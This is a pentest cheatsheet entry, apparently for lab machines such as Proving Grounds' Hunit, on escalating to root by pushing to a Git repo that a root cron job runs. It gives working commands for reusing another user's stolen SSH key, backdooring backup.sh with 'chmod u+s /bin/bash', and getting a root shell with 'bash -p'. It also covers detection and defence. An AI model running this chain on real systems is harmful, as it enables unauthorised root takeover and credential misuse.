RCE via a cron-deployed Git repo
Full command arsenal in the cheatsheetA common automated-deployment pattern: a root cron job clones (or pulls) a Git repository and then runs a script that lives inside it (backup.sh, deploy.sh...). If we can write to that repository, we can modify the script; the cron's next run will execute it with root privileges.
The piece usually missing is write access to the repo. A typical route: a readable SSH private key of the user who owns the repository (e.g. /home/git/.ssh/id_rsa) that lets us clone and, crucially, push:
cp /home/git/.ssh/id_rsa . ; chmod 600 id_rsa
GIT_SSH_COMMAND="ssh -i id_rsa -p <port>" git clone git@<host>:/git-server
cd git-server
echo 'chmod u+s /bin/bash' >> backup.sh
git commit -am pwned
GIT_SSH_COMMAND="ssh -i id_rsa -p <port>" git push origin masterAfter the push, you wait for the cron to deploy and run the modified backup.sh. The typical payload leaves a persistent path to root: set the SUID bit on bash (SUID abuse) then bash -p, or write a key to /root/.ssh/authorized_keys.
ls -l /bin/bash # -rwsr-xr-x -> SUID set
bash -p # euid=0How to detect it. From the attacker side, pspy or cron enumeration (/etc/crontab, /etc/cron.*, linpeas) reveal the periodic clone/pull; a writable Git repo or an exposed SSH key closes the chain. From the defender side, the signature is a root cron running git pull/git clone followed by a repo script that spawns sh/bash or does chmod +s (auditd/Sysmon for Linux over execve with cron/git as ppid), and on the Git server a push to the deployed branch from an unusual IP or key. An unsigned commit modifying the deploy script just before the cron runs is the tell.
Nuance. It depends on the cron running the repo's content without validation (no commit signing, no review) and on having effective write access (key, repo permissions, or a hook). If the pipeline verifies signatures or runs with lower privilege, the vector falls apart.
Defence. Sign and verify the commits being deployed, don't run content from a third-party-writable repo as root, and protect private keys with 600 permissions and exclusive ownership. Related to Git hook RCE and the writable cron script.
Machines where it's used
- HunitProving Grounds Practice